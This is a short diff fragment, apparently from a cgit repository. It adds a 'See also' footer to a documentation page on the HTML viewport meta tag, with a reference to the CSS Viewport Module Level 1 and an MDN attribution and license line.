CSS Viewport Module Level 1
# viewport-meta
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Viewport_meta_tag +

+
-- cgit v1.2.3